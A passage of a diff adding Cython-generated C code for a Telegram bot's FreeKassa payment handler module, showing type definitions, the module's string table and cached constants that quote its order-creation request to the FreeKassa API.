__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_keyboard) { + e = (*v)(p->__pyx_v_keyboard, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_user_ip) { + e = (*v)(p->__pyx_v_user_ip, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input_spec = { + "handlers.payments.freekassa_pay.__pyx_scope_struct_6_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.freekassa_pay.""__pyx_scope_struct_6_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, + {&__pyx_n_s_DEBUG, __pyx_k_DEBUG, sizeof(__pyx_k_DEBUG), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FREEKASSA_API_KEY, __pyx_k_FREEKASSA_API_KEY, sizeof(__pyx_k_FREEKASSA_API_KEY), 0, 0, 1, 1}, + {&__pyx_n_s_FREEKASSA_SHOP_ID, __pyx_k_FREEKASSA_SHOP_ID, sizeof(__pyx_k_FREEKASSA_SHOP_ID), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_kp_u_FreeKassa, __pyx_k_FreeKassa, sizeof(__pyx_k_FreeKassa), 0, 1, 0, 0}, + {&__pyx_kp_u_FreeKassa_2, __pyx_k_FreeKassa_2, sizeof(__pyx_k_FreeKassa_2), 0, 1, 0, 0}, + {&__pyx_kp_u_FreeKassa_3, __pyx_k_FreeKassa_3, sizeof(__pyx_k_FreeKassa_3), 0, 1, 0, 0}, + {&__pyx_kp_u_FreeKassa_4, __pyx_k_FreeKassa_4, sizeof(__pyx_k_FreeKassa_4), 0, 1, 0, 0}, + {&__pyx_kp_u_FreeKassa_5, __pyx_k_FreeKassa_5, sizeof(__pyx_k_FreeKassa_5), 0, 1, 0, 0}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_n_u_RUB, __pyx_k_RUB, sizeof(__pyx_k_RUB), 0, 1, 0, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_n_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 1}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_n_s__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 0, 1, 1}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_n_s__35, __pyx_k__35, sizeof(__pyx_k__35), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_api_key, __pyx_k_api_key, sizeof(__pyx_k_api_key), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_basicConfig, __pyx_k_basicConfig, sizeof(__pyx_k_basicConfig), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_c, __pyx_k_c, sizeof(__pyx_k_c), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_freekassa, __pyx_k_choosing_amount_freekassa, sizeof(__pyx_k_choosing_amount_freekassa), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_u_completed, __pyx_k_completed, sizeof(__pyx_k_completed), 0, 1, 0, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_create_payment, __pyx_k_create_payment, sizeof(__pyx_k_create_payment), 0, 0, 1, 1}, + {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_n_s_email, __pyx_k_email, sizeof(__pyx_k_email), 0, 0, 1, 1}, + {&__pyx_n_u_email, __pyx_k_email, sizeof(__pyx_k_email), 0, 1, 0, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, + {&__pyx_n_u_enter_custom_amount_freekassa, __pyx_k_enter_custom_amount_freekassa, sizeof(__pyx_k_enter_custom_amount_freekassa), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_freekassa, __pyx_k_entering_custom_amount_freekassa, sizeof(__pyx_k_entering_custom_amount_freekassa), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_u_freekassa, __pyx_k_freekassa, sizeof(__pyx_k_freekassa), 0, 1, 0, 1}, + {&__pyx_n_u_freekassa_2, __pyx_k_freekassa_2, sizeof(__pyx_k_freekassa_2), 0, 1, 0, 1}, + {&__pyx_kp_u_freekassa_amount, __pyx_k_freekassa_amount, sizeof(__pyx_k_freekassa_amount), 0, 1, 0, 0}, + {&__pyx_n_s_freekassa_webhook, __pyx_k_freekassa_webhook, sizeof(__pyx_k_freekassa_webhook), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_generate_signature, __pyx_k_generate_signature, sizeof(__pyx_k_generate_signature), 0, 0, 1, 1}, + {&__pyx_n_s_generate_signature_locals_genexp, __pyx_k_generate_signature_locals_genexp, sizeof(__pyx_k_generate_signature_locals_genexp), 0, 0, 1, 1}, + {&__pyx_n_s_genexpr, __pyx_k_genexpr, sizeof(__pyx_k_genexpr), 0, 0, 1, 1}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_freekassa_pay, __pyx_k_handlers_payments_freekassa_pay, sizeof(__pyx_k_handlers_payments_freekassa_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_freekassa_pay_2, __pyx_k_handlers_payments_freekassa_pay_2, sizeof(__pyx_k_handlers_payments_freekassa_pay_2), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_n_s_hmac, __pyx_k_hmac, sizeof(__pyx_k_hmac), 0, 0, 1, 1}, + {&__pyx_kp_u_https_api_freekassa_com_v1_order, __pyx_k_https_api_freekassa_com_v1_order, sizeof(__pyx_k_https_api_freekassa_com_v1_order), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_u_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 1, 0, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_ip, __pyx_k_ip, sizeof(__pyx_k_ip), 0, 0, 1, 1}, + {&__pyx_n_u_ip, __pyx_k_ip, sizeof(__pyx_k_ip), 0, 1, 0, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_k, __pyx_k_k, sizeof(__pyx_k_k), 0, 0, 1, 1}, + {&__pyx_n_s_keyboard, __pyx_k_keyboard, sizeof(__pyx_k_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_lambda, __pyx_k_lambda, sizeof(__pyx_k_lambda), 0, 0, 1, 1}, + {&__pyx_n_s_level, __pyx_k_level, sizeof(__pyx_k_level), 0, 0, 1, 1}, + {&__pyx_n_u_location, __pyx_k_location, sizeof(__pyx_k_location), 0, 1, 0, 1}, + {&__pyx_n_s_logging, __pyx_k_logging, sizeof(__pyx_k_logging), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_u_metadata, __pyx_k_metadata, sizeof(__pyx_k_metadata), 0, 1, 0, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_new, __pyx_k_new, sizeof(__pyx_k_new), 0, 0, 1, 1}, + {&__pyx_n_s_nonce, __pyx_k_nonce, sizeof(__pyx_k_nonce), 0, 0, 1, 1}, + {&__pyx_n_u_nonce, __pyx_k_nonce, sizeof(__pyx_k_nonce), 0, 1, 0, 1}, + {&__pyx_n_s_params, __pyx_k_params, sizeof(__pyx_k_params), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_freekassa, __pyx_k_pay_freekassa, sizeof(__pyx_k_pay_freekassa), 0, 1, 0, 1}, + {&__pyx_n_u_paymentId, __pyx_k_paymentId, sizeof(__pyx_k_paymentId), 0, 1, 0, 1}, + {&__pyx_n_s_payment_id, __pyx_k_payment_id, sizeof(__pyx_k_payment_id), 0, 0, 1, 1}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_freekassa, __pyx_k_process_callback_pay_freekassa, sizeof(__pyx_k_process_callback_pay_freekassa), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_requests, __pyx_k_requests, sizeof(__pyx_k_requests), 0, 0, 1, 1}, + {&__pyx_n_s_response, __pyx_k_response, sizeof(__pyx_k_response), 0, 0, 1, 1}, + {&__pyx_n_s_response_data, __pyx_k_response_data, sizeof(__pyx_k_response_data), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_n_s_sha256, __pyx_k_sha256, sizeof(__pyx_k_sha256), 0, 0, 1, 1}, + {&__pyx_n_u_shopId, __pyx_k_shopId, sizeof(__pyx_k_shopId), 0, 1, 0, 1}, + {&__pyx_n_s_sign_string, __pyx_k_sign_string, sizeof(__pyx_k_sign_string), 0, 0, 1, 1}, + {&__pyx_n_u_signature, __pyx_k_signature, sizeof(__pyx_k_signature), 0, 1, 0, 1}, + {&__pyx_kp_u_solo_net, __pyx_k_solo_net, sizeof(__pyx_k_solo_net), 0, 1, 0, 0}, + {&__pyx_n_s_sorted_params, __pyx_k_sorted_params, sizeof(__pyx_k_sorted_params), 0, 0, 1, 1}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_u_success, __pyx_k_success, sizeof(__pyx_k_success), 0, 1, 0, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 0, 1, 1}, + {&__pyx_n_u_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 1, 0, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_email, __pyx_k_user_email, sizeof(__pyx_k_user_email), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_n_u_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 1, 0, 1}, + {&__pyx_n_s_user_ip, __pyx_k_user_ip, sizeof(__pyx_k_user_ip), 0, 0, 1, 1}, + {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, + {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, + {&__pyx_n_s_values, __pyx_k_values, sizeof(__pyx_k_values), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 92, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 135, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/freekassa_pay.py":52 + * + * try: + * response = requests.post( # <<<<<<<<<<<<<< + * "https://api.freekassa.com/v1/orders/create", json=params + * ) + */ + __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_https_api_freekassa_com_v1_order); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__3); + __Pyx_GIVEREF(__pyx_tuple__3); + + /* "handlers/payments/freekassa_pay.py":131 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * amount_str = data[1] + * try: + */ + __pyx_tuple__10 = PyTuple_Pack(2, __pyx_kp_u_, __pyx_int_1); 